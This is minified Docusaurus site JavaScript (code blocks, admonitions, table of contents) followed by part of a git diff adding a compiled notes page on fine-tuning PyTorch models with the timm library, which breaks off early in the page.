q=s.forwardRef((e,n)=>(0,p.jsx)("pre",{ref:n,tabIndex:0,...e,className:(0,o.A)(e.className,H,"thin-scrollbar")}));function F(e){const{metadata:n}=B();return(0,p.jsx)("code",{...e,className:(0,o.A)(e.className,M,void 0!==n.lineNumbersStart&&S),style:{...e.style,counterReset:void 0===n.lineNumbersStart?void 0:"line-count "+(n.lineNumbersStart-1)}})}function G({className:e}){const{metadata:n,wordWrap:t}=B(),s=d(),{code:a,language:r,lineNumbersStart:i,lineClassNames:c}=n;return(0,p.jsx)(V.f4,{theme:s,code:a,language:r,children:({className:n,style:s,tokens:a,getLineProps:r,getTokenProps:l})=>(0,p.jsx)(q,{ref:t.codeBlockRef,className:(0,o.A)(e,n),style:s,children:(0,p.jsx)(F,{children:a.map((e,n)=>(0,p.jsx)(W,{line:e,getLineProps:r,getTokenProps:l,classNames:c[n],showLineNumbers:void 0!==i},n))})})})}function J({children:e,fallback:n}){return(0,i.A)()?(0,p.jsx)(p.Fragment,{children:e?.()}):n??null}var Z=t(21312);function Y({className:e,...n}){return(0,p.jsx)("button",{type:"button",...n,className:(0,o.A)("clean-btn",e)})}function Q(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"})})}function X(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"})})}const K={copyButtonCopied:"copyButtonCopied_Vdqa",copyButtonIcons:"copyButtonIcons_IEyt",copyButtonIcon:"copyButtonIcon_TrPX",copyButtonSuccessIcon:"copyButtonSuccessIcon_cVMy"};function ee(e){return e?(0,Z.T)({id:"theme.CodeBlock.copied",message:"Copied",description:"The copied button label on code blocks"}):(0,Z.T)({id:"theme.CodeBlock.copyButtonAriaLabel",message:"Copy code to clipboard",description:"The ARIA label for copy code blocks button"})}function ne({className:e}){const{copyCode:n,isCopied:t}=function(){const{metadata:{code:e}}=B(),[n,t]=(0,s.useState)(!1),a=(0,s.useRef)(void 0),r=(0,s.useCallback)(()=>{navigator.clipboard.writeText(e).then(()=>{t(!0),a.current=window.setTimeout(()=>{t(!1)},1e3)})},[e]);return(0,s.useEffect)(()=>()=>window.clearTimeout(a.current),[]),{copyCode:r,isCopied:n}}();return(0,p.jsx)(Y,{"aria-label":ee(t),title:(0,Z.T)({id:"theme.CodeBlock.copy",message:"Copy",description:"The copy button label on code blocks"}),className:(0,o.A)(e,K.copyButton,t&&K.copyButtonCopied),onClick:n,children:(0,p.jsxs)("span",{className:K.copyButtonIcons,"aria-hidden":"true",children:[(0,p.jsx)(Q,{className:K.copyButtonIcon}),(0,p.jsx)(X,{className:K.copyButtonSuccessIcon})]})})}function te(e){return(0,p.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,p.jsx)("path",{fill:"currentColor",d:"M4 19h6v-2H4v2zM20 5H4v2h16V5zm-3 6H4v2h13.25c1.1 0 2 .9 2 2s-.9 2-2 2H15v-2l-3 3l3 3v-2h2c2.21 0 4-1.79 4-4s-1.79-4-4-4z"})})}const se="wordWrapButtonIcon_b1P5",ae="wordWrapButtonEnabled_uzNF";function re({className:e}){const{wordWrap:n}=B();if(!(n.isEnabled||n.isCodeScrollable))return!1;const t=(0,Z.T)({id:"theme.CodeBlock.wordWrapToggle",message:"Toggle word wrap",description:"The title attribute for toggle word wrapping button of code block lines"});return(0,p.jsx)(Y,{onClick:()=>n.toggle(),className:(0,o.A)(e,n.isEnabled&&ae),"aria-label":t,title:t,children:(0,p.jsx)(te,{className:se,"aria-hidden":"true"})})}const ie="buttonGroup_M5ko";function oe({className:e}){return(0,p.jsx)(J,{children:()=>(0,p.jsxs)("div",{className:(0,o.A)(e,ie),children:[(0,p.jsx)(re,{}),(0,p.jsx)(ne,{})]})})}const ce="codeBlockContent_QJqH",le="codeBlockTitle_OeMC";function de({className:e}){const{metadata:n}=B();return(0,p.jsxs)(E,{as:"div",className:(0,o.A)(e,n.className),children:[n.title&&(0,p.jsx)("div",{className:le,children:(0,p.jsx)(R,{children:n.title})}),(0,p.jsxs)("div",{className:ce,children:[(0,p.jsx)(G,{}),(0,p.jsx)(oe,{})]})]})}function ue(e){const n=function(e){const{prism:n}=(0,l.p)();return w({code:e.children,className:e.className,metastring:e.metastring,magicComments:n.magicComments,defaultLanguage:n.defaultLanguage,language:e.language,title:e.title,showLineNumbers:e.showLineNumbers})}(e),t=function(){const[e,n]=(0,s.useState)(!1),[t,a]=(0,s.useState)(!1),r=(0,s.useRef)(null),i=(0,s.useCallback)(()=>{const t=r.current.querySelector("code");e?t.removeAttribute("style"):(t.style.whiteSpace="pre-wrap",t.style.overflowWrap="anywhere"),n(e=>!e)},[r,e]),o=(0,s.useCallback)(()=>{const{scrollWidth:e,clientWidth:n}=r.current,t=e>n||r.current.querySelector("code").hasAttribute("style");a(t)},[r]);return z(r,o),(0,s.useEffect)(()=>{o()},[e,o]),(0,s.useEffect)(()=>(window.addEventListener("resize",o,{passive:!0}),()=>{window.removeEventListener("resize",o)}),[o]),{codeBlockRef:r,isEnabled:e,isCodeScrollable:t,toggle:i}}();return(0,p.jsx)(L,{metadata:n,wordWrap:t,children:(0,p.jsx)(de,{})})}function me({children:e,...n}){const t=(0,i.A)(),a=function(e){return s.Children.toArray(e).some(e=>(0,s.isValidElement)(e))?e:Array.isArray(e)?e.join(""):e}(e),r="string"==typeof a?ue:I;return(0,p.jsx)(r,{...n,children:a},String(t))}function he(e){return(0,p.jsx)("code",{...e})}var fe=t(28774);const pe="footnoteRefStickyNavbar_i6ta",xe="footnoteRefHideOnScrollNavbar_D4Gr";function ge(e){const{navbar:{hideOnScroll:n}}=(0,l.p)();return(0,p.jsx)(fe.A,{...e,className:(0,o.A)(n?xe:pe,e.className)})}var je=t(63427),be=t(41422);const ve="details_lb9f",Ne="isBrowser_bmU9",Ae="collapsibleContent_i85q";function ye(e){return!!e&&("SUMMARY"===e.tagName||ye(e.parentElement))}function Ce(e,n){return!!e&&(e===n||Ce(e.parentElement,n))}function we({summary:e,children:n,...t}){(0,je.A)().collectAnchor(t.id);const a=(0,i.A)(),r=(0,s.useRef)(null),{collapsed:c,setCollapsed:l}=(0,be.u)({initialState:!t.open}),[d,u]=(0,s.useState)(t.open),m=s.isValidElement(e)?e:(0,p.jsx)("summary",{children:e??"Details"});return(0,p.jsxs)("details",{...t,ref:r,open:d,"data-collapsed":c,className:(0,o.A)(ve,a&&Ne,t.className),onMouseDown:e=>{ye(e.target)&&e.detail>1&&e.preventDefault()},onClick:e=>{e.stopPropagation();const n=e.target;ye(n)&&Ce(n,r.current)&&(e.preventDefault(),c?(l(!1),u(!0)):l(!0))},children:[m,(0,p.jsx)(be.N,{lazy:!1,collapsed:c,onCollapseTransitionEnd:e=>{l(e),u(!e)},children:(0,p.jsx)("div",{className:Ae,children:n})})]})}const ke="details_b_Ee";function Le({...e}){return(0,p.jsx)(we,{...e,className:(0,o.A)("alert alert--info",ke,e.className)})}function Be(e){const n=s.Children.toArray(e.children),t=n.find(e=>s.isValidElement(e)&&"summary"===e.type),a=(0,p.jsx)(p.Fragment,{children:n.filter(e=>e!==t)});return(0,p.jsx)(Le,{...e,summary:t,children:a})}var Te=t(51107);function Ee(e){return(0,p.jsx)(Te.A,{...e})}const He="containsTaskList_mC6p";function _e(e){if(void 0!==e)return(0,o.A)(e,e?.includes("contains-task-list")&&He)}const Me="img_ev3q";var Se=t(27293),Ie=t(20418);const Ue={Head:r.A,details:Be,Details:Be,code:function(e){return function(e){return void 0!==e.children&&s.Children.toArray(e.children).every(e=>"string"==typeof e&&!e.includes("\n"))}(e)?(0,p.jsx)(he,{...e}):(0,p.jsx)(me,{...e})},a:function(e){return function(e){return!0===e["data-footnote-ref"]}(e)?(0,p.jsx)(ge,{...e}):(0,p.jsx)(fe.A,{...e})},pre:function(e){return(0,p.jsx)(p.Fragment,{children:e.children})},ul:function(e){return(0,p.jsx)("ul",{...e,className:_e(e.className)})},li:function(e){return(0,je.A)().collectAnchor(e.id),(0,p.jsx)("li",{...e})},img:function(e){return(0,p.jsx)("img",{decoding:"async",loading:"lazy",...e,className:(n=e.className,(0,o.A)(n,Me))});var n},h1:e=>(0,p.jsx)(Ee,{as:"h1",...e}),h2:e=>(0,p.jsx)(Ee,{as:"h2",...e}),h3:e=>(0,p.jsx)(Ee,{as:"h3",...e}),h4:e=>(0,p.jsx)(Ee,{as:"h4",...e}),h5:e=>(0,p.jsx)(Ee,{as:"h5",...e}),h6:e=>(0,p.jsx)(Ee,{as:"h6",...e}),admonition:Se.A,mermaid:Ie.A};function ze({children:e}){return(0,p.jsx)(a.x,{components:Ue,children:e})}},12153:(e,n,t)=>{"use strict";t.d(n,{A:()=>g});t(96540);var s=t(34164),a=t(21312),r=t(17559),i=t(28774);const o={iconEdit:"iconEdit_Z9Sw"};var c=t(74848);function l({className:e,...n}){return(0,c.jsx)("svg",{fill:"currentColor",height:"20",width:"20",viewBox:"0 0 40 40",className:(0,s.A)(o.iconEdit,e),"aria-hidden":"true",...n,children:(0,c.jsx)("g",{children:(0,c.jsx)("path",{d:"m34.5 11.7l-3 3.1-6.3-6.3 3.1-3q0.5-0.5 1.2-0.5t1.1 0.5l3.9 3.9q0.5 0.4 0.5 1.1t-0.5 1.2z m-29.5 17.1l18.4-18.5 6.3 6.3-18.4 18.4h-6.3v-6.2z"})})})}function d({editUrl:e}){return(0,c.jsxs)(i.A,{to:e,className:r.G.common.editThisPage,children:[(0,c.jsx)(l,{}),(0,c.jsx)(a.A,{id:"theme.common.editThisPage",description:"The link label to edit the current page",children:"Edit this page"})]})}var u=t(44586);function m(e={}){const{i18n:{currentLocale:n}}=(0,u.A)(),t=function(){const{i18n:{currentLocale:e,localeConfigs:n}}=(0,u.A)();return n[e].calendar}();return new Intl.DateTimeFormat(n,{calendar:t,...e})}function h({lastUpdatedAt:e}){const n=new Date(e),t=m({day:"numeric",month:"short",year:"numeric",timeZone:"UTC"}).format(n);return(0,c.jsx)(a.A,{id:"theme.lastUpdated.atDate",description:"The words used to describe on which date a page has been last updated",values:{date:(0,c.jsx)("b",{children:(0,c.jsx)("time",{dateTime:n.toISOString(),itemProp:"dateModified",children:t})})},children:" on {date}"})}function f({lastUpdatedBy:e}){return(0,c.jsx)(a.A,{id:"theme.lastUpdated.byUser",description:"The words used to describe by who the page has been last updated",values:{user:(0,c.jsx)("b",{children:e})},children:" by {user}"})}function p({lastUpdatedAt:e,lastUpdatedBy:n}){return(0,c.jsxs)("span",{className:r.G.common.lastUpdated,children:[(0,c.jsx)(a.A,{id:"theme.lastUpdated.lastUpdatedAtBy",description:"The sentence used to display when a page has been last updated, and by who",values:{atDate:e?(0,c.jsx)(h,{lastUpdatedAt:e}):"",byUser:n?(0,c.jsx)(f,{lastUpdatedBy:n}):""},children:"Last updated{atDate}{byUser}"}),!1]})}const x={lastUpdated:"lastUpdated_JAkA"};function g({className:e,editUrl:n,lastUpdatedAt:t,lastUpdatedBy:a}){return(0,c.jsxs)("div",{className:(0,s.A)("row",e),children:[(0,c.jsx)("div",{className:"col",children:n&&(0,c.jsx)(d,{editUrl:n})}),(0,c.jsx)("div",{className:(0,s.A)("col",x.lastUpdated),children:(t||a)&&(0,c.jsx)(p,{lastUpdatedAt:t,lastUpdatedBy:a})})]})}},18426:(e,n)=>{function t(e){let n,t=[];for(let s of e.split(",").map(e=>e.trim()))if(/^-?\d+$/.test(s))t.push(parseInt(s,10));else if(n=s.match(/^(-?\d+)(-|\.\.\.?|\u2025|\u2026|\u22EF)(-?\d+)$/)){let[e,s,a,r]=n;if(s&&r){s=parseInt(s),r=parseInt(r);const e=s<r?1:-1;"-"!==a&&".."!==a&&"\u2025"!==a||(r+=e);for(let n=s;n!==r;n+=e)t.push(n)}}return t}n.default=t,e.exports=t},27293:(e,n,t)=>{"use strict";t.d(n,{A:()=>_});var s=t(96540),a=t(74848);function r(e){const{mdxAdmonitionTitle:n,rest:t}=function(e){const n=s.Children.toArray(e),t=n.find(e=>s.isValidElement(e)&&"mdxAdmonitionTitle"===e.type),r=n.filter(e=>e!==t),i=t?.props.children;return{mdxAdmonitionTitle:i,rest:r.length>0?(0,a.jsx)(a.Fragment,{children:r}):null}}(e.children),r=e.title??n;return{...e,...r&&{title:r},children:t}}var i=t(34164),o=t(21312),c=t(17559);const l="admonition_xJq3",d="admonitionHeading_Gvgb",u="admonitionIcon_Rf37",m="admonitionContent_BuS1";function h({type:e,className:n,children:t}){return(0,a.jsx)("div",{className:(0,i.A)(c.G.common.admonition,c.G.common.admonitionType(e),l,n),children:t})}function f({icon:e,title:n}){return(0,a.jsxs)("div",{className:d,children:[(0,a.jsx)("span",{className:u,children:e}),n]})}function p({children:e}){return e?(0,a.jsx)("div",{className:m,children:e}):null}function x(e){const{type:n,icon:t,title:s,children:r,className:i}=e;return(0,a.jsxs)(h,{type:n,className:i,children:[s||t?(0,a.jsx)(f,{title:s,icon:t}):null,(0,a.jsx)(p,{children:r})]})}function g(e){return(0,a.jsx)("svg",{viewBox:"0 0 14 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"})})}const j={icon:(0,a.jsx)(g,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.note",description:"The default label used for the Note admonition (:::note)",children:"note"})};function b(e){return(0,a.jsx)(x,{...j,...e,className:(0,i.A)("alert alert--secondary",e.className),children:e.children})}function v(e){return(0,a.jsx)("svg",{viewBox:"0 0 12 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"})})}const N={icon:(0,a.jsx)(v,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.tip",description:"The default label used for the Tip admonition (:::tip)",children:"tip"})};function A(e){return(0,a.jsx)(x,{...N,...e,className:(0,i.A)("alert alert--success",e.className),children:e.children})}function y(e){return(0,a.jsx)("svg",{viewBox:"0 0 14 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"})})}const C={icon:(0,a.jsx)(y,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.info",description:"The default label used for the Info admonition (:::info)",children:"info"})};function w(e){return(0,a.jsx)(x,{...C,...e,className:(0,i.A)("alert alert--info",e.className),children:e.children})}function k(e){return(0,a.jsx)("svg",{viewBox:"0 0 16 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"})})}const L={icon:(0,a.jsx)(k,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.warning",description:"The default label used for the Warning admonition (:::warning)",children:"warning"})};function B(e){return(0,a.jsx)("svg",{viewBox:"0 0 12 16",...e,children:(0,a.jsx)("path",{fillRule:"evenodd",d:"M5.05.31c.81 2.17.41 3.38-.52 4.31C3.55 5.67 1.98 6.45.9 7.98c-1.45 2.05-1.7 6.53 3.53 7.7-2.2-1.16-2.67-4.52-.3-6.61-.61 2.03.53 3.33 1.94 2.86 1.39-.47 2.3.53 2.27 1.67-.02.78-.31 1.44-1.13 1.81 3.42-.59 4.78-3.42 4.78-5.56 0-2.84-2.53-3.22-1.25-5.61-1.52.13-2.03 1.13-1.89 2.75.09 1.08-1.02 1.8-1.86 1.33-.67-.41-.66-1.19-.06-1.78C8.18 5.31 8.68 2.45 5.05.32L5.03.3l.02.01z"})})}const T={icon:(0,a.jsx)(B,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.danger",description:"The default label used for the Danger admonition (:::danger)",children:"danger"})};const E={icon:(0,a.jsx)(k,{}),title:(0,a.jsx)(o.A,{id:"theme.admonition.caution",description:"The default label used for the Caution admonition (:::caution)",children:"caution"})};const H={...{note:b,tip:A,info:w,warning:function(e){return(0,a.jsx)(x,{...L,...e,className:(0,i.A)("alert alert--warning",e.className),children:e.children})},danger:function(e){return(0,a.jsx)(x,{...T,...e,className:(0,i.A)("alert alert--danger",e.className),children:e.children})}},...{secondary:e=>(0,a.jsx)(b,{title:"secondary",...e}),important:e=>(0,a.jsx)(w,{title:"important",...e}),success:e=>(0,a.jsx)(A,{title:"success",...e}),caution:function(e){return(0,a.jsx)(x,{...E,...e,className:(0,i.A)("alert alert--warning",e.className),children:e.children})}}};function _(e){const n=r(e),t=(s=n.type,H[s]||(console.warn(`No admonition component found for admonition type "${s}". Using Info as fallback.`),H.info));var s;return(0,a.jsx)(t,{...n})}},28453:(e,n,t)=>{"use strict";t.d(n,{R:()=>i,x:()=>o});var s=t(96540);const a={},r=s.createContext(a);function i(e){const n=s.useContext(r);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(a):e.components||a:i(e.components),s.createElement(r.Provider,{value:n},e.children)}},65195:(e,n,t)=>{"use strict";t.d(n,{A:()=>p});var s=t(96540),a=t(6342);function r(e){const n=e.map(e=>({...e,parentIndex:-1,children:[]})),t=Array(7).fill(-1);n.forEach((e,n)=>{const s=t.slice(2,e.level);e.parentIndex=Math.max(...s),t[e.level]=n});const s=[];return n.forEach(e=>{const{parentIndex:t,...a}=e;t>=0?n[t].children.push(a):s.push(a)}),s}function i({toc:e,minHeadingLevel:n,maxHeadingLevel:t}){return e.flatMap(e=>{const s=i({toc:e.children,minHeadingLevel:n,maxHeadingLevel:t});return function(e){return e.level>=n&&e.level<=t}(e)?[{...e,children:s}]:s})}function o(e){const n=e.getBoundingClientRect();return n.top===n.bottom?o(e.parentNode):n}function c(e,{anchorTopOffset:n}){const t=e.find(e=>o(e).top>=n);if(t){return function(e){return e.top>0&&e.bottom<window.innerHeight/2}(o(t))?t:e[e.indexOf(t)-1]??null}return e[e.length-1]??null}function l(){const e=(0,s.useRef)(0),{navbar:{hideOnScroll:n}}=(0,a.p)();return(0,s.useEffect)(()=>{e.current=n?0:document.querySelector(".navbar").clientHeight},[n]),e}function d(e){const n=(0,s.useRef)(void 0),t=l();(0,s.useEffect)(()=>{if(!e)return()=>{};const{linkClassName:s,linkActiveClassName:a,minHeadingLevel:r,maxHeadingLevel:i}=e;function o(){const e=function(e){return Array.from(document.getElementsByClassName(e))}(s),o=function({minHeadingLevel:e,maxHeadingLevel:n}){const t=[];for(let s=e;s<=n;s+=1)t.push(`h${s}.anchor`);return Array.from(document.querySelectorAll(t.join()))}({minHeadingLevel:r,maxHeadingLevel:i}),l=c(o,{anchorTopOffset:t.current}),d=e.find(e=>l&&l.id===function(e){return decodeURIComponent(e.href.substring(e.href.indexOf("#")+1))}(e));e.forEach(e=>{!function(e,t){t?(n.current&&n.current!==e&&n.current.classList.remove(a),e.classList.add(a),n.current=e):e.classList.remove(a)}(e,e===d)})}return document.addEventListener("scroll",o),document.addEventListener("resize",o),o(),()=>{document.removeEventListener("scroll",o),document.removeEventListener("resize",o)}},[e,t])}var u=t(28774),m=t(74848);function h({toc:e,className:n,linkClassName:t,isChild:s}){return e.length?(0,m.jsx)("ul",{className:s?void 0:n,children:e.map(e=>(0,m.jsxs)("li",{children:[(0,m.jsx)(u.A,{to:`#${e.id}`,className:t??void 0,dangerouslySetInnerHTML:{__html:e.value}}),(0,m.jsx)(h,{isChild:!0,toc:e.children,className:n,linkClassName:t})]},e.id))}):null}const f=s.memo(h);function p({toc:e,className:n="table-of-contents table-of-contents__left-border",linkClassName:t="table-of-contents__link",linkActiveClassName:o,minHeadingLevel:c,maxHeadingLevel:l,...u}){const h=(0,a.p)(),p=c??h.tableOfContents.minHeadingLevel,x=l??h.tableOfContents.maxHeadingLevel,g=function({toc:e,minHeadingLevel:n,maxHeadingLevel:t}){return(0,s.useMemo)(()=>i({toc:r(e),minHeadingLevel:n,maxHeadingLevel:t}),[e,n,t])}({toc:e,minHeadingLevel:p,maxHeadingLevel:x});return d((0,s.useMemo)(()=>{if(t&&o)return{linkClassName:t,linkActiveClassName:o,minHeadingLevel:p,maxHeadingLevel:x}},[t,o,p,x])),(0,m.jsx)(f,{toc:g,className:n,linkClassName:t,...u})}},67763:(e,n,t)=>{"use strict";t.d(n,{A:()=>l});t(96540);var s=t(34164),a=t(65195);const r={tableOfContents:"tableOfContents_bqdL",docItemContainer:"docItemContainer_F8PC"};var i=t(74848);const o="table-of-contents__link toc-highlight",c="table-of-contents__link--active";function l({className:e,...n}){return(0,i.jsx)("div",{className:(0,s.A)(r.tableOfContents,"thin-scrollbar",e),children:(0,i.jsx)(a.A,{...n,linkClassName:o,linkActiveClassName:c})})}},86896:(e,n,t)=>{"use strict";t.d(n,{A:()=>g});t(96540);var s=t(34164),a=t(21312),r=t(5260),i=t(74848);function o(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.unlistedBanner.title",description:"The unlisted content banner title",children:"Unlisted page"})}function c(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.unlistedBanner.message",description:"The unlisted content banner message",children:"This page is unlisted. Search engines will not index it, and only users having a direct link can access it."})}function l(){return(0,i.jsx)(r.A,{children:(0,i.jsx)("meta",{name:"robots",content:"noindex, nofollow"})})}function d(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.draftBanner.title",description:"The draft content banner title",children:"Draft page"})}function u(){return(0,i.jsx)(a.A,{id:"theme.contentVisibility.draftBanner.message",description:"The draft content banner message",children:"This page is a draft. It will only be visible in dev and be excluded from the production build."})}var m=t(17559),h=t(27293);function f({className:e}){return(0,i.jsx)(h.A,{type:"caution",title:(0,i.jsx)(d,{}),className:(0,s.A)(e,m.G.common.draftBanner),children:(0,i.jsx)(u,{})})}function p({className:e}){return(0,i.jsx)(h.A,{type:"caution",title:(0,i.jsx)(o,{}),className:(0,s.A)(e,m.G.common.unlistedBanner),children:(0,i.jsx)(c,{})})}function x(e){return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(l,{}),(0,i.jsx)(p,{...e})]})}function g({metadata:e}){const{unlisted:n,frontMatter:t}=e;return(0,i.jsxs)(i.Fragment,{children:[(n||t.unlisted)&&(0,i.jsx)(x,{}),t.draft&&(0,i.jsx)(f,{})]})}}}]); \ No newline at end of file diff --git a/assets/js/11901d5e.d69a1eab.js b/assets/js/11901d5e.d69a1eab.js new file mode 100644 index 0000000..565401a --- /dev/null +++ b/assets/js/11901d5e.d69a1eab.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8087],{28453:(e,n,t)=>{t.d(n,{R:()=>r,x:()=>d});var s=t(96540);const i={},l=s.createContext(i);function r(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),s.createElement(l.Provider,{value:n},e.children)}},62858:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"},"next":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"}}');var i=t(74848),l=t(28453);const r={},d="6.3 \u6a21\u578b\u5fae\u8c03-timm.md",c={},h=[{value:"6.3.1 timm\u7684\u5b89\u88c5",id:"631-timm\u7684\u5b89\u88c5",level:2},{value:"6.3.2 \u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",id:"632-\u5982\u4f55\u67e5\u770b\u9884\u8bad\u7ec3\u6a21\u578b\u79cd\u7c7b",level:2},{value:"6.3.3 \u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",id:"633-\u4f7f\u7528\u548c\u4fee\u6539\u9884\u8bad\u7ec3\u6a21\u578b",level:2},{value:"6.3.4 \u6a21\u578b\u7684\u4fdd\u5b58",id:"634-\u6a21\u578b\u7684\u4fdd\u5b58",level:2},{value:"\u53c2\u8003\u6750\u6599",id:"\u53c2\u8003\u6750\u6599",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"63-\u6a21\u578b\u5fae\u8c03-timmmd",children:"6.3 \u6a21\u578b\u5fae\u8c03-timm.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 